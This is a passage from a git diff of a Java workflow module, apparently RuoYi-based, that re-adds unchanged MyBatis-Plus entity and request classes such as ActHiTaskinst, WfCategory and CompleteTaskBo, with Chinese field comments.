"PROC_INST_ID_") + private String procInstId; + + /** + * + */ + @TableField(value = "BUSINESS_KEY_") + private String businessKey; + + /** + * + */ + @TableField(value = "PROC_DEF_ID_") + private String procDefId; + + /** + * + */ + @TableField(value = "START_TIME_") + private Date startTime; + + /** + * + */ + @TableField(value = "END_TIME_") + private Date endTime; + + /** + * + */ + @TableField(value = "DURATION_") + private Long duration; + + /** + * + */ + @TableField(value = "START_USER_ID_") + private String startUserId; + + /** + * + */ + @TableField(value = "START_ACT_ID_") + private String startActId; + + /** + * + */ + @TableField(value = "END_ACT_ID_") + private String endActId; + + /** + * + */ + @TableField(value = "SUPER_PROCESS_INSTANCE_ID_") + private String superProcessInstanceId; + + /** + * + */ + @TableField(value = "DELETE_REASON_") + private String deleteReason; + + /** + * + */ + @TableField(value = "TENANT_ID_") + private String tenantId; + + /** + * + */ + @TableField(value = "NAME_") + private String name; + + /** + * + */ + @TableField(value = "CALLBACK_ID_") + private String callbackId; + + /** + * + */ + @TableField(value = "CALLBACK_TYPE_") + private String callbackType; + + /** + * + */ + @TableField(value = "REFERENCE_ID_") + private String referenceId; + + /** + * + */ + @TableField(value = "REFERENCE_TYPE_") + private String referenceType; + + /** + * + */ + @TableField(value = "PROPAGATED_STAGE_INST_ID_") + private String propagatedStageInstId; + + /** + * + */ + @TableField(value = "BUSINESS_STATUS_") + private String businessStatus; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiTaskinst.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiTaskinst.java index 112d355..a678771 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiTaskinst.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiTaskinst.java @@ -1,194 +1,194 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 流程历史任务对象 act_hi_taskinst - * - * @author may - * @date 2024-03-02 - */ -@Data -@TableName("act_hi_taskinst") -public class ActHiTaskinst implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "ID_") - private String id; - - /** - * 版本 - */ - @TableField(value = "REV_") - private Long rev; - - /** - * 流程定义id - */ - @TableField(value = "PROC_DEF_ID_") - private String procDefId; - - /** - * - */ - @TableField(value = "TASK_DEF_ID_") - private String taskDefId; - - /** - * 任务节点id - */ - @TableField(value = "TASK_DEF_KEY_") - private String taskDefKey; - - /** - * 流程实例id - */ - @TableField(value = "PROC_INST_ID_") - private String procInstId; - - /** - * 流程执行id - */ - @TableField(value = "EXECUTION_ID") - private String executionId; - - /** - * - */ - @TableField(value = "SCOPE_ID_") - private String scopeId; - - /** - * - */ - @TableField(value = "SUB_SCOPE_ID_") - private String subScopeId; - - /** - * 先用当前字段标识抄送类型 - */ - @TableField(value = "SCOPE_TYPE_") - private String scopeType; - - /** - * - */ - @TableField(value = "SCOPE_DEFINITION_ID_") - private String scopeDefinitionId; - - /** - * - */ - @TableField(value = "PROPAGATED_STAGE_INST_ID_") - private String propagatedStageInstId; - - /** - * 任务名称 - */ - @TableField(value = "NAME_") - private String name; - - /** - * 父级id - */ - @TableField(value = "PARENT_TASK_ID_") - private String parentTaskId; - - /** - * 描述 - */ - @TableField(value = "DESCRIPTION_") - private String description; - - /** - * 办理人 - */ - @TableField(value = "OWNER_") - private String owner; - - /** - * 办理人 - */ - @TableField(value = "ASSIGNEE_") - private String assignee; - - /** - * 开始事件 - */ - @TableField(value = "START_TIME_") - private Date startTime; - - /** - * 认领时间 - */ - @TableField(value = "CLAIM_TIME_") - private Date claimTime; - - /** - * 结束时间 - */ - @TableField(value = "END_TIME_") - private Date endTime; - - /** - * 持续时间 - */ - @TableField(value = "DURATION_") - private Long duration; - - /** - * 删除原因 - */ - @TableField(value = "DELETE_REASON_") - private String deleteReason; - - /** - * 优先级 - */ - @TableField(value = "PRIORITY_") - private Long priority; - - /** - * 到期时间 - */ - @TableField(value = "DUE_DATE_") - private Date dueDate; - - /** - * - */ - @TableField(value = "FORM_KEY_") - private String formKey; - - /** - * 分类 - */ - @TableField(value = "CATEGORY_") - private String category; - - /** - * 最后修改时间 - */ - @TableField(value = "LAST_UPDATED_TIME_") - private Date lastUpdatedTime; - - /** - * 租户id - */ - @TableField(value = "TENANT_ID_") - private String tenantId; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 流程历史任务对象 act_hi_taskinst + * + * @author may + * @date 2024-03-02 + */ +@Data +@TableName("act_hi_taskinst") +public class ActHiTaskinst implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "ID_") + private String id; + + /** + * 版本 + */ + @TableField(value = "REV_") + private Long rev; + + /** + * 流程定义id + */ + @TableField(value = "PROC_DEF_ID_") + private String procDefId; + + /** + * + */ + @TableField(value = "TASK_DEF_ID_") + private String taskDefId; + + /** + * 任务节点id + */ + @TableField(value = "TASK_DEF_KEY_") + private String taskDefKey; + + /** + * 流程实例id + */ + @TableField(value = "PROC_INST_ID_") + private String procInstId; + + /** + * 流程执行id + */ + @TableField(value = "EXECUTION_ID") + private String executionId; + + /** + * + */ + @TableField(value = "SCOPE_ID_") + private String scopeId; + + /** + * + */ + @TableField(value = "SUB_SCOPE_ID_") + private String subScopeId; + + /** + * 先用当前字段标识抄送类型 + */ + @TableField(value = "SCOPE_TYPE_") + private String scopeType; + + /** + * + */ + @TableField(value = "SCOPE_DEFINITION_ID_") + private String scopeDefinitionId; + + /** + * + */ + @TableField(value = "PROPAGATED_STAGE_INST_ID_") + private String propagatedStageInstId; + + /** + * 任务名称 + */ + @TableField(value = "NAME_") + private String name; + + /** + * 父级id + */ + @TableField(value = "PARENT_TASK_ID_") + private String parentTaskId; + + /** + * 描述 + */ + @TableField(value = "DESCRIPTION_") + private String description; + + /** + * 办理人 + */ + @TableField(value = "OWNER_") + private String owner; + + /** + * 办理人 + */ + @TableField(value = "ASSIGNEE_") + private String assignee; + + /** + * 开始事件 + */ + @TableField(value = "START_TIME_") + private Date startTime; + + /** + * 认领时间 + */ + @TableField(value = "CLAIM_TIME_") + private Date claimTime; + + /** + * 结束时间 + */ + @TableField(value = "END_TIME_") + private Date endTime; + + /** + * 持续时间 + */ + @TableField(value = "DURATION_") + private Long duration; + + /** + * 删除原因 + */ + @TableField(value = "DELETE_REASON_") + private String deleteReason; + + /** + * 优先级 + */ + @TableField(value = "PRIORITY_") + private Long priority; + + /** + * 到期时间 + */ + @TableField(value = "DUE_DATE_") + private Date dueDate; + + /** + * + */ + @TableField(value = "FORM_KEY_") + private String formKey; + + /** + * 分类 + */ + @TableField(value = "CATEGORY_") + private String category; + + /** + * 最后修改时间 + */ + @TableField(value = "LAST_UPDATED_TIME_") + private Date lastUpdatedTime; + + /** + * 租户id + */ + @TableField(value = "TENANT_ID_") + private String tenantId; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TActivity.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TActivity.java index 9e01b3c..c2015dc 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TActivity.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TActivity.java @@ -1,80 +1,80 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableLogic; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.util.Date; - -/** - * 活动对象 t_activity - * - * @author Lion Li - * @date 2024-07-19 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("t_activity") -public class TActivity extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 租户号 - */ - @TableId(value = "id") - private Long id; - - /** - * 删除标志;1 正常 2 删除 3 禁用 - */ - @TableLogic - private Integer delFlag; - - /** - * 标题 - */ - private String title; - - /** - * 图片 - */ - private String image; - - /** - * 排序 - */ - private Long sort; - - /** - * 开始时间 - */ - private Date startTime; - - /** - * 结束时间 - */ - private Date endTime; - - /** - * 浏览量 - */ - private Long browseNum; - - /** - * 内容(富文本) - */ - private String content; - - /** - * 点赞数 - */ - private Long likeNum; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableLogic; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.util.Date; + +/** + * 活动对象 t_activity + * + * @author Lion Li + * @date 2024-07-19 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_activity") +public class TActivity extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 租户号 + */ + @TableId(value = "id") + private Long id; + + /** + * 删除标志;1 正常 2 删除 3 禁用 + */ + @TableLogic + private Integer delFlag; + + /** + * 标题 + */ + private String title; + + /** + * 图片 + */ + private String image; + + /** + * 排序 + */ + private Long sort; + + /** + * 开始时间 + */ + private Date startTime; + + /** + * 结束时间 + */ + private Date endTime; + + /** + * 浏览量 + */ + private Long browseNum; + + /** + * 内容(富文本) + */ + private String content; + + /** + * 点赞数 + */ + private Long likeNum; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TestLeave.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TestLeave.java index 7d42a9b..050b8c6 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TestLeave.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/TestLeave.java @@ -1,63 +1,63 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.util.Date; - -/** - * 请假对象 test_leave - * - * @author may - * @date 2023-07-21 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("test_leave") -public class TestLeave extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 请假类型 - */ - private String leaveType; - - /** - * 开始时间 - */ - private Date startDate; - - /** - * 结束时间 - */ - private Date endDate; - - /** - * 请假天数 - */ - private Integer leaveDays; - - /** - * 请假原因 - */ - private String remark; - - /** - * 状态 - */ - private String status; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.util.Date; + +/** + * 请假对象 test_leave + * + * @author may + * @date 2023-07-21 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("test_leave") +public class TestLeave extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 请假类型 + */ + private String leaveType; + + /** + * 开始时间 + */ + private Date startDate; + + /** + * 结束时间 + */ + private Date endDate; + + /** + * 请假天数 + */ + private Integer leaveDays; + + /** + * 请假原因 + */ + private String remark; + + /** + * 状态 + */ + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfCategory.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfCategory.java index 94a7cf5..d1cbb56 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfCategory.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfCategory.java @@ -1,52 +1,52 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 流程分类对象 wf_category - * - * @author may - * @date 2023-06-27 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("wf_category") -public class WfCategory extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 分类名称 - */ - private String categoryName; - - /** - * 分类编码 - */ - private String categoryCode; - - /** - * 父级id - */ - private Long parentId; - - /** - * 排序 - */ - private Long sortNum; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 流程分类对象 wf_category + * + * @author may + * @date 2023-06-27 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("wf_category") +public class WfCategory extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 分类名称 + */ + private String categoryName; + + /** + * 分类编码 + */ + private String categoryCode; + + /** + * 父级id + */ + private Long parentId; + + /** + * 排序 + */ + private Long sortNum; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfDefinitionConfig.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfDefinitionConfig.java index 14aac5d..4954b18 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfDefinitionConfig.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfDefinitionConfig.java @@ -1,57 +1,57 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 流程定义配置对象 wf_definition_config - * - * @author may - * @date 2024-03-18 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("wf_definition_config") -public class WfDefinitionConfig extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 表名 - */ - private String tableName; - - /** - * 流程定义ID - */ - private String definitionId; - - /** - * 流程KEY - */ - private String processKey; - - /** - * 流程版本 - */ - private Integer version; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 流程定义配置对象 wf_definition_config + * + * @author may + * @date 2024-03-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("wf_definition_config") +public class WfDefinitionConfig extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 表名 + */ + private String tableName; + + /** + * 流程定义ID + */ + private String definitionId; + + /** + * 流程KEY + */ + private String processKey; + + /** + * 流程版本 + */ + private Integer version; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfFormManage.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfFormManage.java index 63bfcd8..0c09bda 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfFormManage.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfFormManage.java @@ -1,52 +1,52 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 表单管理对象 wf_form_manage - * - * @author may - * @date 2024-03-29 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("wf_form_manage") -public class WfFormManage extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 表单名称 - */ - private String formName; - - /** - * 表单类型 - */ - private String formType; - - /** - * 路由地址/表单ID - */ - private String router; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 表单管理对象 wf_form_manage + * + * @author may + * @date 2024-03-29 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("wf_form_manage") +public class WfFormManage extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 表单名称 + */ + private String formName; + + /** + * 表单类型 + */ + private String formType; + + /** + * 路由地址/表单ID + */ + private String router; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfNodeConfig.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfNodeConfig.java index ce20677..3082fc0 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfNodeConfig.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfNodeConfig.java @@ -1,62 +1,62 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 节点配置对象 wf_node_config - * - * @author may - * @date 2024-03-30 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("wf_node_config") -public class WfNodeConfig extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 表单id - */ - private Long formId; - - /** - * 表单类型 - */ - private String formType; - - /** - * 节点名称 - */ - private String nodeName; - - /** - * 节点id - */ - private String nodeId; - - /** - * 流程定义id - */ - private String definitionId; - - /** - * 是否为申请人节点 (0是 1否) - */ - private String applyUserTask; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 节点配置对象 wf_node_config + * + * @author may + * @date 2024-03-30 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("wf_node_config") +public class WfNodeConfig extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 表单id + */ + private Long formId; + + /** + * 表单类型 + */ + private String formType; + + /** + * 节点名称 + */ + private String nodeName; + + /** + * 节点id + */ + private String nodeId; + + /** + * 流程定义id + */ + private String definitionId; + + /** + * 是否为申请人节点 (0是 1否) + */ + private String applyUserTask; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfTaskBackNode.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfTaskBackNode.java index 6f59727..cdc9d21 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfTaskBackNode.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/WfTaskBackNode.java @@ -1,61 +1,61 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; - -import java.io.Serial; - -/** - * 节点驳回记录 wf_task_back_node - * - * @author may - * @date 2024-03-13 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("wf_task_back_node") -public class WfTaskBackNode extends TenantEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @TableId(value = "id") - private Long id; - - /** - * 实例id - */ - private String instanceId; - - /** - * 节点id - */ - private String nodeId; - - /** - * 节点名称 - */ - private String nodeName; - - /** - * 排序 - */ - private Integer orderNo; - - /** - * 节点类型 - */ - private String taskType; - - /** - * 办理人 - */ - private String assignee; - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.tenant.core.TenantEntity; + +import java.io.Serial; + +/** + * 节点驳回记录 wf_task_back_node + * + * @author may + * @date 2024-03-13 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("wf_task_back_node") +public class WfTaskBackNode extends TenantEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @TableId(value = "id") + private Long id; + + /** + * 实例id + */ + private String instanceId; + + /** + * 节点id + */ + private String nodeId; + + /** + * 节点名称 + */ + private String nodeName; + + /** + * 排序 + */ + private Integer orderNo; + + /** + * 节点类型 + */ + private String taskType; + + /** + * 办理人 + */ + private String assignee; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/AddMultiBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/AddMultiBo.java index 320ec64..04a0222 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/AddMultiBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/AddMultiBo.java @@ -1,40 +1,40 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotEmpty; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 加签参数请求 - * - * @author may - */ -@Data -public class AddMultiBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务ID - */ - @NotBlank(message = "任务ID不能为空", groups = AddGroup.class) - private String taskId; - - /** - * 加签人员id - */ - @NotEmpty(message = "加签人员不能为空", groups = AddGroup.class) - private List assignees; - - /** - * 加签人员名称 - */ - @NotEmpty(message = "加签人员不能为空", groups = AddGroup.class) - private List assigneeNames; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotEmpty; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 加签参数请求 + * + * @author may + */ +@Data +public class AddMultiBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务ID + */ + @NotBlank(message = "任务ID不能为空", groups = AddGroup.class) + private String taskId; + + /** + * 加签人员id + */ + @NotEmpty(message = "加签人员不能为空", groups = AddGroup.class) + private List assignees; + + /** + * 加签人员名称 + */ + @NotEmpty(message = "加签人员不能为空", groups = AddGroup.class) + private List assigneeNames; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/BackProcessBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/BackProcessBo.java index d0f4369..627dc2e 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/BackProcessBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/BackProcessBo.java @@ -1,44 +1,44 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - - -/** - * 驳回参数请求 - * - * @author may - */ -@Data -public class BackProcessBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务ID - */ - @NotBlank(message = "任务ID不能为空", groups = AddGroup.class) - private String taskId; - - /** - * 消息类型 - */ - private List messageType; - - /** - * 驳回的节点id(目前未使用,直接驳回到申请人) - */ - @NotBlank(message = "驳回的节点不能为空", groups = AddGroup.class) - private String targetActivityId; - - /** - * 办理意见 - */ - private String message; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + + +/** + * 驳回参数请求 + * + * @author may + */ +@Data +public class BackProcessBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务ID + */ + @NotBlank(message = "任务ID不能为空", groups = AddGroup.class) + private String taskId; + + /** + * 消息类型 + */ + private List messageType; + + /** + * 驳回的节点id(目前未使用,直接驳回到申请人) + */ + @NotBlank(message = "驳回的节点不能为空", groups = AddGroup.class) + private String targetActivityId; + + /** + * 办理意见 + */ + private String message; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/CompleteTaskBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/CompleteTaskBo.java index 0623905..8a59e0b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/CompleteTaskBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/CompleteTaskBo.java @@ -1,65 +1,65 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.workflow.domain.vo.WfCopy; - -import java.io.Serial; -import java.io.Serializable; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.Objects; - -/** - * 办理任务请求对象 - * - * @author may - */ -@Data -public class CompleteTaskBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务id - */ - @NotBlank(message = "任务id不能为空", groups = {AddGroup.class}) - private String taskId; - - /** - * 附件id - */ - private String fileId; - - /** - * 抄送人员 - */ - private List wfCopyList; - - /** - * 消息类型 - */ - private List messageType; - - /** - * 办理意见 - */ - private String message; - - /** - * 流程变量 - */ - private Map variables; - - public Map getVariables() { - if (variables == null) { - return new HashMap<>(16); - } - variables.entrySet().removeIf(entry -> Objects.isNull(entry.getValue())); - return variables; - } - -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.workflow.domain.vo.WfCopy; + +import java.io.Serial; +import java.io.Serializable; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 办理任务请求对象 + * + * @author may + */ +@Data +public class CompleteTaskBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务id + */ + @NotBlank(message = "任务id不能为空", groups = {AddGroup.class}) + private String taskId; + + /** + * 附件id + */ + private String fileId; + + /** + * 抄送人员 + */ + private List wfCopyList; + + /** + * 消息类型 + */ + private List messageType; + + /** + * 办理意见 + */ + private String message; + + /** + * 流程变量 + */ + private Map variables; + + public Map getVariables() { + if (variables == null) { + return new HashMap<>(16); + } + variables.entrySet().removeIf(entry -> Objects.isNull(entry.getValue())); + return variables; + } + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DelegateBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DelegateBo.java index a6846a6..a6e54a3 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DelegateBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DelegateBo.java @@ -1,38 +1,38 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 委派任务请求对象 - * - * @author may - */ -@Data -public class DelegateBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 委派人id - */ - @NotBlank(message = "委派人id不能为空", groups = {AddGroup.class}) - private String userId; - - /** - * 委派人名称 - */ - @NotBlank(message = "委派人名称不能为空", groups = {AddGroup.class}) - private String nickName; - - /** - * 任务id - */ - @NotBlank(message = "任务id不能为空", groups = {AddGroup.class}) - private String taskId; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 委派任务请求对象 + * + * @author may + */ +@Data +public class DelegateBo implements Serializable { + + @Serial + private static final long serialVersionUID = 